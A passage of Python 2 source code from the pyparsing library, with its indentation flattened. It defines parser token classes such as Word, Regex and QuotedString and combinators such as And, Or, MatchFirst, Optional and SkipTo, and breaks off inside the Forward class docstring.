self.errmsg = "Expected " + self.name
#self.myException.msg = self.errmsg
self.mayIndexError = False
self.asKeyword = asKeyword
if ' ' not in self.initCharsOrig+self.bodyCharsOrig and (min==1 and max==0 and exact==0):
if self.bodyCharsOrig == self.initCharsOrig:
self.reString = "[%s]+" % _escapeRegexRangeChars(self.initCharsOrig)
elif len(self.bodyCharsOrig) == 1:
self.reString = "%s[%s]*" % \
(re.escape(self.initCharsOrig),
_escapeRegexRangeChars(self.bodyCharsOrig),)
else:
self.reString = "[%s][%s]*" % \
(_escapeRegexRangeChars(self.initCharsOrig),
_escapeRegexRangeChars(self.bodyCharsOrig),)
if self.asKeyword:
self.reString = r"\b"+self.reString+r"\b"
try:
self.re = re.compile( self.reString )
except:
self.re = None
def parseImpl( self, instring, loc, doActions=True ):
if self.re:
result = self.re.match(instring,loc)
if not result:
exc = self.myException
exc.loc = loc
exc.pstr = instring
raise exc
loc = result.end()
return loc,result.group()
if not(instring[ loc ] in self.initChars):
#~ raise ParseException( instring, loc, self.errmsg )
exc = self.myException
exc.loc = loc
exc.pstr = instring
raise exc
start = loc
loc += 1
instrlen = len(instring)
bodychars = self.bodyChars
maxloc = start + self.maxLen
maxloc = min( maxloc, instrlen )
while loc < maxloc and instring[loc] in bodychars:
loc += 1
throwException = False
if loc - start < self.minLen:
throwException = True
if self.maxSpecified and loc < instrlen and instring[loc] in bodychars:
throwException = True
if self.asKeyword:
if (start>0 and instring[start-1] in bodychars) or (loc<instrlen and instring[loc] in bodychars):
throwException = True
if throwException:
#~ raise ParseException( instring, loc, self.errmsg )
exc = self.myException
exc.loc = loc
exc.pstr = instring
raise exc
return loc, instring[start:loc]
def __str__( self ):
try:
return super(Word,self).__str__()
except:
pass
if self.strRepr is None:
def charsAsStr(s):
if len(s)>4:
return s[:4]+"..."
else:
return s
if ( self.initCharsOrig != self.bodyCharsOrig ):
self.strRepr = "W:(%s,%s)" % ( charsAsStr(self.initCharsOrig), charsAsStr(self.bodyCharsOrig) )
else:
self.strRepr = "W:(%s)" % charsAsStr(self.initCharsOrig)
return self.strRepr
class Regex(Token):
"""Token for matching strings that match a given regular expression.
Defined with string specifying the regular expression in a form recognized by the inbuilt Python re module.
"""
def __init__( self, pattern, flags=0):
"""The parameters pattern and flags are passed to the re.compile() function as-is. See the Python re module for an explanation of the acceptable patterns and flags."""
super(Regex,self).__init__()
if len(pattern) == 0:
warnings.warn("null string passed to Regex; use Empty() instead",
SyntaxWarning, stacklevel=2)
self.pattern = pattern
self.flags = flags
try:
self.re = re.compile(self.pattern, self.flags)
self.reString = self.pattern
except sre_constants.error:
warnings.warn("invalid pattern (%s) passed to Regex" % pattern,
SyntaxWarning, stacklevel=2)
raise
self.name = _ustr(self)
self.errmsg = "Expected " + self.name
#self.myException.msg = self.errmsg
self.mayIndexError = False
self.mayReturnEmpty = True
def parseImpl( self, instring, loc, doActions=True ):
result = self.re.match(instring,loc)
if not result:
exc = self.myException
exc.loc = loc
exc.pstr = instring
raise exc
loc = result.end()
d = result.groupdict()
ret = ParseResults(result.group())
if d:
for k in d:
ret[k] = d[k]
return loc,ret
def __str__( self ):
try:
return super(Regex,self).__str__()
except:
pass
if self.strRepr is None:
self.strRepr = "Re:(%s)" % repr(self.pattern)
return self.strRepr
class QuotedString(Token):
"""Token for matching strings that are delimited by quoting characters.
"""
def __init__( self, quoteChar, escChar=None, escQuote=None, multiline=False, unquoteResults=True, endQuoteChar=None):
"""
Defined with the following parameters:
- quoteChar - string of one or more characters defining the quote delimiting string
- escChar - character to escape quotes, typically backslash (default=None)
- escQuote - special quote sequence to escape an embedded quote string (such as SQL's "" to escape an embedded ") (default=None)
- multiline - boolean indicating whether quotes can span multiple lines (default=False)
- unquoteResults - boolean indicating whether the matched text should be unquoted (default=True)
- endQuoteChar - string of one or more characters defining the end of the quote delimited string (default=None => same as quoteChar)
"""
super(QuotedString,self).__init__()
# remove white space from quote chars - wont work anyway
quoteChar = quoteChar.strip()
if len(quoteChar) == 0:
warnings.warn("quoteChar cannot be the empty string",SyntaxWarning,stacklevel=2)
raise SyntaxError()
if endQuoteChar is None:
endQuoteChar = quoteChar
else:
endQuoteChar = endQuoteChar.strip()
if len(endQuoteChar) == 0:
warnings.warn("endQuoteChar cannot be the empty string",SyntaxWarning,stacklevel=2)
raise SyntaxError()
self.quoteChar = quoteChar
self.quoteCharLen = len(quoteChar)
self.firstQuoteChar = quoteChar[0]
self.endQuoteChar = endQuoteChar
self.endQuoteCharLen = len(endQuoteChar)
self.escChar = escChar
self.escQuote = escQuote
self.unquoteResults = unquoteResults
if multiline:
self.flags = re.MULTILINE | re.DOTALL
self.pattern = r'%s(?:[^%s%s]' % \
( re.escape(self.quoteChar),
_escapeRegexRangeChars(self.endQuoteChar[0]),
(escChar is not None and _escapeRegexRangeChars(escChar) or '') )
else:
self.flags = 0
self.pattern = r'%s(?:[^%s\n\r%s]' % \
( re.escape(self.quoteChar),
_escapeRegexRangeChars(self.endQuoteChar[0]),
(escChar is not None and _escapeRegexRangeChars(escChar) or '') )
if len(self.endQuoteChar) > 1:
self.pattern += (
'|(?:' + ')|(?:'.join(["%s[^%s]" % (re.escape(self.endQuoteChar[:i]),
_escapeRegexRangeChars(self.endQuoteChar[i]))
for i in range(len(self.endQuoteChar)-1,0,-1)]) + ')'
)
if escQuote:
self.pattern += (r'|(?:%s)' % re.escape(escQuote))
if escChar:
self.pattern += (r'|(?:%s.)' % re.escape(escChar))
self.escCharReplacePattern = re.escape(self.escChar)+"(.)"
self.pattern += (r')*%s' % re.escape(self.endQuoteChar))
try:
self.re = re.compile(self.pattern, self.flags)
self.reString = self.pattern
except sre_constants.error:
warnings.warn("invalid pattern (%s) passed to Regex" % self.pattern,
SyntaxWarning, stacklevel=2)
raise
self.name = _ustr(self)
self.errmsg = "Expected " + self.name
#self.myException.msg = self.errmsg
self.mayIndexError = False
self.mayReturnEmpty = True
def parseImpl( self, instring, loc, doActions=True ):
result = instring[loc] == self.firstQuoteChar and self.re.match(instring,loc) or None
if not result:
exc = self.myException
exc.loc = loc
exc.pstr = instring
raise exc
loc = result.end()
ret = result.group()
if self.unquoteResults:
# strip off quotes
ret = ret[self.quoteCharLen:-self.endQuoteCharLen]
if isinstance(ret,basestring):
# replace escaped characters
if self.escChar:
ret = re.sub(self.escCharReplacePattern,"\g<1>",ret)
# replace escaped quotes
if self.escQuote:
ret = ret.replace(self.escQuote, self.endQuoteChar)
return loc, ret
def __str__( self ):
try:
return super(QuotedString,self).__str__()
except:
pass
if self.strRepr is None:
self.strRepr = "quoted string, starting with %s ending with %s" % (self.quoteChar, self.endQuoteChar)
return self.strRepr
class CharsNotIn(Token):
"""Token for matching words composed of characters *not* in a given set.
Defined with string containing all disallowed characters, and an optional
minimum, maximum, and/or exact length. The default value for min is 1 (a
minimum value < 1 is not valid); the default values for max and exact
are 0, meaning no maximum or exact length restriction.
"""
def __init__( self, notChars, min=1, max=0, exact=0 ):
super(CharsNotIn,self).__init__()
self.skipWhitespace = False
self.notChars = notChars
if min < 1:
raise ValueError("cannot specify a minimum length < 1; use Optional(CharsNotIn()) if zero-length char group is permitted")
self.minLen = min
if max > 0:
self.maxLen = max
else:
self.maxLen = _MAX_INT
if exact > 0:
self.maxLen = exact
self.minLen = exact
self.name = _ustr(self)
self.errmsg = "Expected " + self.name
self.mayReturnEmpty = ( self.minLen == 0 )
#self.myException.msg = self.errmsg
self.mayIndexError = False
def parseImpl( self, instring, loc, doActions=True ):
if instring[loc] in self.notChars:
#~ raise ParseException( instring, loc, self.errmsg )
exc = self.myException
exc.loc = loc
exc.pstr = instring
raise exc
start = loc
loc += 1
notchars = self.notChars
maxlen = min( start+self.maxLen, len(instring) )
while loc < maxlen and \
(instring[loc] not in notchars):
loc += 1
if loc - start < self.minLen:
#~ raise ParseException( instring, loc, self.errmsg )
exc = self.myException
exc.loc = loc
exc.pstr = instring
raise exc
return loc, instring[start:loc]
def __str__( self ):
try:
return super(CharsNotIn, self).__str__()
except:
pass
if self.strRepr is None:
if len(self.notChars) > 4:
self.strRepr = "!W:(%s...)" % self.notChars[:4]
else:
self.strRepr = "!W:(%s)" % self.notChars
return self.strRepr
class White(Token):
"""Special matching class for matching whitespace. Normally, whitespace is ignored
by pyparsing grammars. This class is included when some whitespace structures
are significant. Define with a string containing the whitespace characters to be
matched; default is " \\t\\n". Also takes optional min, max, and exact arguments,
as defined for the Word class."""
whiteStrs = {
" " : "<SPC>",
"\t": "<TAB>",
"\n": "<LF>",
"\r": "<CR>",
"\f": "<FF>",
}
def __init__(self, ws=" \t\r\n", min=1, max=0, exact=0):
super(White,self).__init__()
self.matchWhite = ws
self.setWhitespaceChars( "".join([c for c in self.whiteChars if c not in self.matchWhite]) )
#~ self.leaveWhitespace()
self.name = ("".join([White.whiteStrs[c] for c in self.matchWhite]))
self.mayReturnEmpty = True
self.errmsg = "Expected " + self.name
#self.myException.msg = self.errmsg
self.minLen = min
if max > 0:
self.maxLen = max
else:
self.maxLen = _MAX_INT
if exact > 0:
self.maxLen = exact
self.minLen = exact
def parseImpl( self, instring, loc, doActions=True ):
if not(instring[ loc ] in self.matchWhite):
#~ raise ParseException( instring, loc, self.errmsg )
exc = self.myException
exc.loc = loc
exc.pstr = instring
raise exc
start = loc
loc += 1
maxloc = start + self.maxLen
maxloc = min( maxloc, len(instring) )
while loc < maxloc and instring[loc] in self.matchWhite:
loc += 1
if loc - start < self.minLen:
#~ raise ParseException( instring, loc, self.errmsg )
exc = self.myException
exc.loc = loc
exc.pstr = instring
raise exc
return loc, instring[start:loc]
class _PositionToken(Token):
def __init__( self ):
super(_PositionToken,self).__init__()
self.name=self.__class__.__name__
self.mayReturnEmpty = True
self.mayIndexError = False
class GoToColumn(_PositionToken):
"""Token to advance to a specific column of input text; useful for tabular report scraping."""
def __init__( self, colno ):
super(GoToColumn,self).__init__()
self.col = colno
def preParse( self, instring, loc ):
if col(loc,instring) != self.col:
instrlen = len(instring)
if self.ignoreExprs:
loc = self._skipIgnorables( instring, loc )
while loc < instrlen and instring[loc].isspace() and col( loc, instring ) != self.col :
loc += 1
return loc
def parseImpl( self, instring, loc, doActions=True ):
thiscol = col( loc, instring )
if thiscol > self.col:
raise ParseException( instring, loc, "Text not in expected column", self )
newloc = loc + self.col - thiscol
ret = instring[ loc: newloc ]
return newloc, ret
class LineStart(_PositionToken):
"""Matches if current position is at the beginning of a line within the parse string"""
def __init__( self ):
super(LineStart,self).__init__()
self.setWhitespaceChars( " \t" )
self.errmsg = "Expected start of line"
#self.myException.msg = self.errmsg
def preParse( self, instring, loc ):
preloc = super(LineStart,self).preParse(instring,loc)
if instring[preloc] == "\n":
loc += 1
return loc
def parseImpl( self, instring, loc, doActions=True ):
if not( loc==0 or
(loc == self.preParse( instring, 0 )) or
(instring[loc-1] == "\n") ): #col(loc, instring) != 1:
#~ raise ParseException( instring, loc, "Expected start of line" )
exc = self.myException
exc.loc = loc
exc.pstr = instring
raise exc
return loc, []
class LineEnd(_PositionToken):
"""Matches if current position is at the end of a line within the parse string"""
def __init__( self ):
super(LineEnd,self).__init__()
self.setWhitespaceChars( " \t" )
self.errmsg = "Expected end of line"
#self.myException.msg = self.errmsg
def parseImpl( self, instring, loc, doActions=True ):
if loc<len(instring):
if instring[loc] == "\n":
return loc+1, "\n"
else:
#~ raise ParseException( instring, loc, "Expected end of line" )
exc = self.myException
exc.loc = loc
exc.pstr = instring
raise exc
elif loc == len(instring):
return loc+1, []
else:
exc = self.myException
exc.loc = loc
exc.pstr = instring
raise exc
class StringStart(_PositionToken):
"""Matches if current position is at the beginning of the parse string"""
def __init__( self ):
super(StringStart,self).__init__()
self.errmsg = "Expected start of text"
#self.myException.msg = self.errmsg
def parseImpl( self, instring, loc, doActions=True ):
if loc != 0:
# see if entire string up to here is just whitespace and ignoreables
if loc != self.preParse( instring, 0 ):
#~ raise ParseException( instring, loc, "Expected start of text" )
exc = self.myException
exc.loc = loc
exc.pstr = instring
raise exc
return loc, []
class StringEnd(_PositionToken):
"""Matches if current position is at the end of the parse string"""
def __init__( self ):
super(StringEnd,self).__init__()
self.errmsg = "Expected end of text"
#self.myException.msg = self.errmsg
def parseImpl( self, instring, loc, doActions=True ):
if loc < len(instring):
#~ raise ParseException( instring, loc, "Expected end of text" )
exc = self.myException
exc.loc = loc
exc.pstr = instring
raise exc
elif loc == len(instring):
return loc+1, []
elif loc > len(instring):
return loc, []
else:
exc = self.myException
exc.loc = loc
exc.pstr = instring
raise exc
class WordStart(_PositionToken):
"""Matches if the current position is at the beginning of a Word, and
is not preceded by any character in a given set of wordChars
(default=printables). To emulate the \b behavior of regular expressions,
use WordStart(alphanums). WordStart will also match at the beginning of
the string being parsed, or at the beginning of a line.
"""
def __init__(self, wordChars = printables):
super(WordStart,self).__init__()
self.wordChars = _str2dict(wordChars)
self.errmsg = "Not at the start of a word"
def parseImpl(self, instring, loc, doActions=True ):
if loc != 0:
if (instring[loc-1] in self.wordChars or
instring[loc] not in self.wordChars):
exc = self.myException
exc.loc = loc
exc.pstr = instring
raise exc
return loc, []
class WordEnd(_PositionToken):
"""Matches if the current position is at the end of a Word, and
is not followed by any character in a given set of wordChars
(default=printables). To emulate the \b behavior of regular expressions,
use WordEnd(alphanums). WordEnd will also match at the end of
the string being parsed, or at the end of a line.
"""
def __init__(self, wordChars = printables):
super(WordEnd,self).__init__()
self.wordChars = _str2dict(wordChars)
self.skipWhitespace = False
self.errmsg = "Not at the end of a word"
def parseImpl(self, instring, loc, doActions=True ):
instrlen = len(instring)
if instrlen>0 and loc<instrlen:
if (instring[loc] in self.wordChars or
instring[loc-1] not in self.wordChars):
#~ raise ParseException( instring, loc, "Expected end of word" )
exc = self.myException
exc.loc = loc
exc.pstr = instring
raise exc
return loc, []
class ParseExpression(ParserElement):
"""Abstract subclass of ParserElement, for combining and post-processing parsed tokens."""
def __init__( self, exprs, savelist = False ):
super(ParseExpression,self).__init__(savelist)
if isinstance( exprs, list ):
self.exprs = exprs
elif isinstance( exprs, basestring ):
self.exprs = [ Literal( exprs ) ]
else:
self.exprs = [ exprs ]
self.callPreparse = False
def __getitem__( self, i ):
return self.exprs[i]
def append( self, other ):
self.exprs.append( other )
self.strRepr = None
return self
def leaveWhitespace( self ):
"""Extends leaveWhitespace defined in base class, and also invokes leaveWhitespace on
all contained expressions."""
self.skipWhitespace = False
self.exprs = [ e.copy() for e in self.exprs ]
for e in self.exprs:
e.leaveWhitespace()
return self
def ignore( self, other ):
if isinstance( other, Suppress ):
if other not in self.ignoreExprs:
super( ParseExpression, self).ignore( other )
for e in self.exprs:
e.ignore( self.ignoreExprs[-1] )
else:
super( ParseExpression, self).ignore( other )
for e in self.exprs:
e.ignore( self.ignoreExprs[-1] )
return self
def __str__( self ):
try:
return super(ParseExpression,self).__str__()
except:
pass
if self.strRepr is None:
self.strRepr = "%s:(%s)" % ( self.__class__.__name__, _ustr(self.exprs) )
return self.strRepr
def streamline( self ):
super(ParseExpression,self).streamline()
for e in self.exprs:
e.streamline()
# collapse nested And's of the form And( And( And( a,b), c), d) to And( a,b,c,d )
# but only if there are no parse actions or resultsNames on the nested And's
# (likewise for Or's and MatchFirst's)
if ( len(self.exprs) == 2 ):
other = self.exprs[0]
if ( isinstance( other, self.__class__ ) and
not(other.parseAction) and
other.resultsName is None and
not other.debug ):
self.exprs = other.exprs[:] + [ self.exprs[1] ]
self.strRepr = None
self.mayReturnEmpty |= other.mayReturnEmpty
self.mayIndexError |= other.mayIndexError
other = self.exprs[-1]
if ( isinstance( other, self.__class__ ) and
not(other.parseAction) and
other.resultsName is None and
not other.debug ):
self.exprs = self.exprs[:-1] + other.exprs[:]
self.strRepr = None
self.mayReturnEmpty |= other.mayReturnEmpty
self.mayIndexError |= other.mayIndexError
return self
def setResultsName( self, name, listAllMatches=False ):
ret = super(ParseExpression,self).setResultsName(name,listAllMatches)
return ret
def validate( self, validateTrace=[] ):
tmp = validateTrace[:]+[self]
for e in self.exprs:
e.validate(tmp)
self.checkRecursion( [] )
class And(ParseExpression):
"""Requires all given ParseExpressions to be found in the given order.
Expressions may be separated by whitespace.
May be constructed using the '+' operator.
"""
class _ErrorStop(Empty):
def __new__(cls,*args,**kwargs):
return And._ErrorStop.instance
_ErrorStop.instance = Empty()
_ErrorStop.instance.leaveWhitespace()
def __init__( self, exprs, savelist = True ):
super(And,self).__init__(exprs, savelist)
self.mayReturnEmpty = True
for e in self.exprs:
if not e.mayReturnEmpty:
self.mayReturnEmpty = False
break
self.setWhitespaceChars( exprs[0].whiteChars )
self.skipWhitespace = exprs[0].skipWhitespace
self.callPreparse = True
def parseImpl( self, instring, loc, doActions=True ):
# pass False as last arg to _parse for first element, since we already
# pre-parsed the string as part of our And pre-parsing
loc, resultlist = self.exprs[0]._parse( instring, loc, doActions, callPreParse=False )
errorStop = False
for e in self.exprs[1:]:
if e is And._ErrorStop.instance:
errorStop = True
continue
if errorStop:
try:
loc, exprtokens = e._parse( instring, loc, doActions )
except ParseBaseException, pe:
raise ParseSyntaxException(pe)
except IndexError, ie:
raise ParseSyntaxException( ParseException(instring, len(instring), self.errmsg, self) )
else:
loc, exprtokens = e._parse( instring, loc, doActions )
if exprtokens or exprtokens.keys():
resultlist += exprtokens
return loc, resultlist
def __iadd__(self, other ):
if isinstance( other, basestring ):
other = Literal( other )
return self.append( other ) #And( [ self, other ] )
def checkRecursion( self, parseElementList ):
subRecCheckList = parseElementList[:] + [ self ]
for e in self.exprs:
e.checkRecursion( subRecCheckList )
if not e.mayReturnEmpty:
break
def __str__( self ):
if hasattr(self,"name"):
return self.name
if self.strRepr is None:
self.strRepr = "{" + " ".join( [ _ustr(e) for e in self.exprs ] ) + "}"
return self.strRepr
class Or(ParseExpression):
"""Requires that at least one ParseExpression is found.
If two expressions match, the expression that matches the longest string will be used.
May be constructed using the '^' operator.
"""
def __init__( self, exprs, savelist = False ):
super(Or,self).__init__(exprs, savelist)
self.mayReturnEmpty = False
for e in self.exprs:
if e.mayReturnEmpty:
self.mayReturnEmpty = True
break
def parseImpl( self, instring, loc, doActions=True ):
maxExcLoc = -1
maxMatchLoc = -1
maxException = None
for e in self.exprs:
try:
loc2 = e.tryParse( instring, loc )
except ParseException, err:
if err.loc > maxExcLoc:
maxException = err
maxExcLoc = err.loc
except IndexError:
if len(instring) > maxExcLoc:
maxException = ParseException(instring,len(instring),e.errmsg,self)
maxExcLoc = len(instring)
else:
if loc2 > maxMatchLoc:
maxMatchLoc = loc2
maxMatchExp = e
if maxMatchLoc < 0:
if maxException is not None:
raise maxException
else:
raise ParseException(instring, loc, "no defined alternatives to match", self)
return maxMatchExp._parse( instring, loc, doActions )
def __ixor__(self, other ):
if isinstance( other, basestring ):
other = Literal( other )
return self.append( other ) #Or( [ self, other ] )
def __str__( self ):
if hasattr(self,"name"):
return self.name
if self.strRepr is None:
self.strRepr = "{" + " ^ ".join( [ _ustr(e) for e in self.exprs ] ) + "}"
return self.strRepr
def checkRecursion( self, parseElementList ):
subRecCheckList = parseElementList[:] + [ self ]
for e in self.exprs:
e.checkRecursion( subRecCheckList )
class MatchFirst(ParseExpression):
"""Requires that at least one ParseExpression is found.
If two expressions match, the first one listed is the one that will match.
May be constructed using the '|' operator.
"""
def __init__( self, exprs, savelist = False ):
super(MatchFirst,self).__init__(exprs, savelist)
if exprs:
self.mayReturnEmpty = False
for e in self.exprs:
if e.mayReturnEmpty:
self.mayReturnEmpty = True
break
else:
self.mayReturnEmpty = True
def parseImpl( self, instring, loc, doActions=True ):
maxExcLoc = -1
maxException = None
for e in self.exprs:
try:
ret = e._parse( instring, loc, doActions )
return ret
except ParseException, err:
if err.loc > maxExcLoc:
maxException = err
maxExcLoc = err.loc
except IndexError:
if len(instring) > maxExcLoc:
maxException = ParseException(instring,len(instring),e.errmsg,self)
maxExcLoc = len(instring)
# only got here if no expression matched, raise exception for match that made it the furthest
else:
if maxException is not None:
raise maxException
else:
raise ParseException(instring, loc, "no defined alternatives to match", self)
def __ior__(self, other ):
if isinstance( other, basestring ):
other = Literal( other )
return self.append( other ) #MatchFirst( [ self, other ] )
def __str__( self ):
if hasattr(self,"name"):
return self.name
if self.strRepr is None:
self.strRepr = "{" + " | ".join( [ _ustr(e) for e in self.exprs ] ) + "}"
return self.strRepr
def checkRecursion( self, parseElementList ):
subRecCheckList = parseElementList[:] + [ self ]
for e in self.exprs:
e.checkRecursion( subRecCheckList )
class Each(ParseExpression):
"""Requires all given ParseExpressions to be found, but in any order.
Expressions may be separated by whitespace.
May be constructed using the '&' operator.
"""
def __init__( self, exprs, savelist = True ):
super(Each,self).__init__(exprs, savelist)
self.mayReturnEmpty = True
for e in self.exprs:
if not e.mayReturnEmpty:
self.mayReturnEmpty = False
break
self.skipWhitespace = True
self.initExprGroups = True
def parseImpl( self, instring, loc, doActions=True ):
if self.initExprGroups:
self.optionals = [ e.expr for e in self.exprs if isinstance(e,Optional) ]
self.multioptionals = [ e.expr for e in self.exprs if isinstance(e,ZeroOrMore) ]
self.multirequired = [ e.expr for e in self.exprs if isinstance(e,OneOrMore) ]
self.required = [ e for e in self.exprs if not isinstance(e,(Optional,ZeroOrMore,OneOrMore)) ]
self.required += self.multirequired
self.initExprGroups = False
tmpLoc = loc
tmpReqd = self.required[:]
tmpOpt = self.optionals[:]
matchOrder = []
keepMatching = True
while keepMatching:
tmpExprs = tmpReqd + tmpOpt + self.multioptionals + self.multirequired
failed = []
for e in tmpExprs:
try:
tmpLoc = e.tryParse( instring, tmpLoc )
except ParseException:
failed.append(e)
else:
matchOrder.append(e)
if e in tmpReqd:
tmpReqd.remove(e)
elif e in tmpOpt:
tmpOpt.remove(e)
if len(failed) == len(tmpExprs):
keepMatching = False
if tmpReqd:
missing = ", ".join( [ _ustr(e) for e in tmpReqd ] )
raise ParseException(instring,loc,"Missing one or more required elements (%s)" % missing )
# add any unmatched Optionals, in case they have default values defined
matchOrder += list(e for e in self.exprs if isinstance(e,Optional) and e.expr in tmpOpt)
resultlist = []
for e in matchOrder:
loc,results = e._parse(instring,loc,doActions)
resultlist.append(results)
finalResults = ParseResults([])
for r in resultlist:
dups = {}
for k in r.keys():
if k in finalResults.keys():
tmp = ParseResults(finalResults[k])
tmp += ParseResults(r[k])
dups[k] = tmp
finalResults += ParseResults(r)
for k,v in dups.items():
finalResults[k] = v
return loc, finalResults
def __str__( self ):
if hasattr(self,"name"):
return self.name
if self.strRepr is None:
self.strRepr = "{" + " & ".join( [ _ustr(e) for e in self.exprs ] ) + "}"
return self.strRepr
def checkRecursion( self, parseElementList ):
subRecCheckList = parseElementList[:] + [ self ]
for e in self.exprs:
e.checkRecursion( subRecCheckList )
class ParseElementEnhance(ParserElement):
"""Abstract subclass of ParserElement, for combining and post-processing parsed tokens."""
def __init__( self, expr, savelist=False ):
super(ParseElementEnhance,self).__init__(savelist)
if isinstance( expr, basestring ):
expr = Literal(expr)
self.expr = expr
self.strRepr = None
if expr is not None:
self.mayIndexError = expr.mayIndexError
self.mayReturnEmpty = expr.mayReturnEmpty
self.setWhitespaceChars( expr.whiteChars )
self.skipWhitespace = expr.skipWhitespace
self.saveAsList = expr.saveAsList
self.callPreparse = expr.callPreparse
self.ignoreExprs.extend(expr.ignoreExprs)
def parseImpl( self, instring, loc, doActions=True ):
if self.expr is not None:
return self.expr._parse( instring, loc, doActions, callPreParse=False )
else:
raise ParseException("",loc,self.errmsg,self)
def leaveWhitespace( self ):
self.skipWhitespace = False
self.expr = self.expr.copy()
if self.expr is not None:
self.expr.leaveWhitespace()
return self
def ignore( self, other ):
if isinstance( other, Suppress ):
if other not in self.ignoreExprs:
super( ParseElementEnhance, self).ignore( other )
if self.expr is not None:
self.expr.ignore( self.ignoreExprs[-1] )
else:
super( ParseElementEnhance, self).ignore( other )
if self.expr is not None:
self.expr.ignore( self.ignoreExprs[-1] )
return self
def streamline( self ):
super(ParseElementEnhance,self).streamline()
if self.expr is not None:
self.expr.streamline()
return self
def checkRecursion( self, parseElementList ):
if self in parseElementList:
raise RecursiveGrammarException( parseElementList+[self] )
subRecCheckList = parseElementList[:] + [ self ]
if self.expr is not None:
self.expr.checkRecursion( subRecCheckList )
def validate( self, validateTrace=[] ):
tmp = validateTrace[:]+[self]
if self.expr is not None:
self.expr.validate(tmp)
self.checkRecursion( [] )
def __str__( self ):
try:
return super(ParseElementEnhance,self).__str__()
except:
pass
if self.strRepr is None and self.expr is not None:
self.strRepr = "%s:(%s)" % ( self.__class__.__name__, _ustr(self.expr) )
return self.strRepr
class FollowedBy(ParseElementEnhance):
"""Lookahead matching of the given parse expression. FollowedBy
does *not* advance the parsing position within the input string, it only
verifies that the specified parse expression matches at the current
position. FollowedBy always returns a null token list."""
def __init__( self, expr ):
super(FollowedBy,self).__init__(expr)
self.mayReturnEmpty = True
def parseImpl( self, instring, loc, doActions=True ):
self.expr.tryParse( instring, loc )
return loc, []
class NotAny(ParseElementEnhance):
"""Lookahead to disallow matching with the given parse expression. NotAny
does *not* advance the parsing position within the input string, it only
verifies that the specified parse expression does *not* match at the current
position. Also, NotAny does *not* skip over leading whitespace. NotAny
always returns a null token list. May be constructed using the '~' operator."""
def __init__( self, expr ):
super(NotAny,self).__init__(expr)
#~ self.leaveWhitespace()
self.skipWhitespace = False # do NOT use self.leaveWhitespace(), don't want to propagate to exprs
self.mayReturnEmpty = True
self.errmsg = "Found unwanted token, "+_ustr(self.expr)
#self.myException = ParseException("",0,self.errmsg,self)
def parseImpl( self, instring, loc, doActions=True ):
try:
self.expr.tryParse( instring, loc )
except (ParseException,IndexError):
pass
else:
#~ raise ParseException(instring, loc, self.errmsg )
exc = self.myException
exc.loc = loc
exc.pstr = instring
raise exc
return loc, []
def __str__( self ):
if hasattr(self,"name"):
return self.name
if self.strRepr is None:
self.strRepr = "~{" + _ustr(self.expr) + "}"
return self.strRepr
class ZeroOrMore(ParseElementEnhance):
"""Optional repetition of zero or more of the given expression."""
def __init__( self, expr ):
super(ZeroOrMore,self).__init__(expr)
self.mayReturnEmpty = True
def parseImpl( self, instring, loc, doActions=True ):
tokens = []
try:
loc, tokens = self.expr._parse( instring, loc, doActions, callPreParse=False )
hasIgnoreExprs = ( len(self.ignoreExprs) > 0 )
while 1:
if hasIgnoreExprs:
preloc = self._skipIgnorables( instring, loc )
else:
preloc = loc
loc, tmptokens = self.expr._parse( instring, preloc, doActions )
if tmptokens or tmptokens.keys():
tokens += tmptokens
except (ParseException,IndexError):
pass
return loc, tokens
def __str__( self ):
if hasattr(self,"name"):
return self.name
if self.strRepr is None:
self.strRepr = "[" + _ustr(self.expr) + "]..."
return self.strRepr
def setResultsName( self, name, listAllMatches=False ):
ret = super(ZeroOrMore,self).setResultsName(name,listAllMatches)
ret.saveAsList = True
return ret
class OneOrMore(ParseElementEnhance):
"""Repetition of one or more of the given expression."""
def parseImpl( self, instring, loc, doActions=True ):
# must be at least one
loc, tokens = self.expr._parse( instring, loc, doActions, callPreParse=False )
try:
hasIgnoreExprs = ( len(self.ignoreExprs) > 0 )
while 1:
if hasIgnoreExprs:
preloc = self._skipIgnorables( instring, loc )
else:
preloc = loc
loc, tmptokens = self.expr._parse( instring, preloc, doActions )
if tmptokens or tmptokens.keys():
tokens += tmptokens
except (ParseException,IndexError):
pass
return loc, tokens
def __str__( self ):
if hasattr(self,"name"):
return self.name
if self.strRepr is None:
self.strRepr = "{" + _ustr(self.expr) + "}..."
return self.strRepr
def setResultsName( self, name, listAllMatches=False ):
ret = super(OneOrMore,self).setResultsName(name,listAllMatches)
ret.saveAsList = True
return ret
class _NullToken(object):
def __bool__(self):
return False
__nonzero__ = __bool__
def __str__(self):
return ""
_optionalNotMatched = _NullToken()
class Optional(ParseElementEnhance):
"""Optional matching of the given expression.
A default return string can also be specified, if the optional expression
is not found.
"""
def __init__( self, exprs, default=_optionalNotMatched ):
super(Optional,self).__init__( exprs, savelist=False )
self.defaultValue = default
self.mayReturnEmpty = True
def parseImpl( self, instring, loc, doActions=True ):
try:
loc, tokens = self.expr._parse( instring, loc, doActions, callPreParse=False )
except (ParseException,IndexError):
if self.defaultValue is not _optionalNotMatched:
if self.expr.resultsName:
tokens = ParseResults([ self.defaultValue ])
tokens[self.expr.resultsName] = self.defaultValue
else:
tokens = [ self.defaultValue ]
else:
tokens = []
return loc, tokens
def __str__( self ):
if hasattr(self,"name"):
return self.name
if self.strRepr is None:
self.strRepr = "[" + _ustr(self.expr) + "]"
return self.strRepr
class SkipTo(ParseElementEnhance):
"""Token for skipping over all undefined text until the matched expression is found.
If include is set to true, the matched expression is also consumed. The ignore
argument is used to define grammars (typically quoted strings and comments) that
might contain false matches.
"""
def __init__( self, other, include=False, ignore=None ):
super( SkipTo, self ).__init__( other )
if ignore is not None:
self.expr = self.expr.copy()
self.expr.ignore(ignore)
self.mayReturnEmpty = True
self.mayIndexError = False
self.includeMatch = include
self.asList = False
self.errmsg = "No match found for "+_ustr(self.expr)
#self.myException = ParseException("",0,self.errmsg,self)
def parseImpl( self, instring, loc, doActions=True ):
startLoc = loc
instrlen = len(instring)
expr = self.expr
while loc <= instrlen:
try:
loc = expr._skipIgnorables( instring, loc )
expr._parse( instring, loc, doActions=False, callPreParse=False )
if self.includeMatch:
skipText = instring[startLoc:loc]
loc,mat = expr._parse(instring,loc,doActions,callPreParse=False)
if mat:
skipRes = ParseResults( skipText )
skipRes += mat
return loc, [ skipRes ]
else:
return loc, [ skipText ]
else:
return loc, [ instring[startLoc:loc] ]
except (ParseException,IndexError):
loc += 1
exc = self.myException
exc.loc = loc
exc.pstr = instring
raise exc
class Forward(ParseElementEnhance):
"""Forward declaration of an expression to be defined later -
used for recursive grammars, such as algebraic infix notation.
When the expression is known, it is assigned to the Forward variable using the '<<' operator.
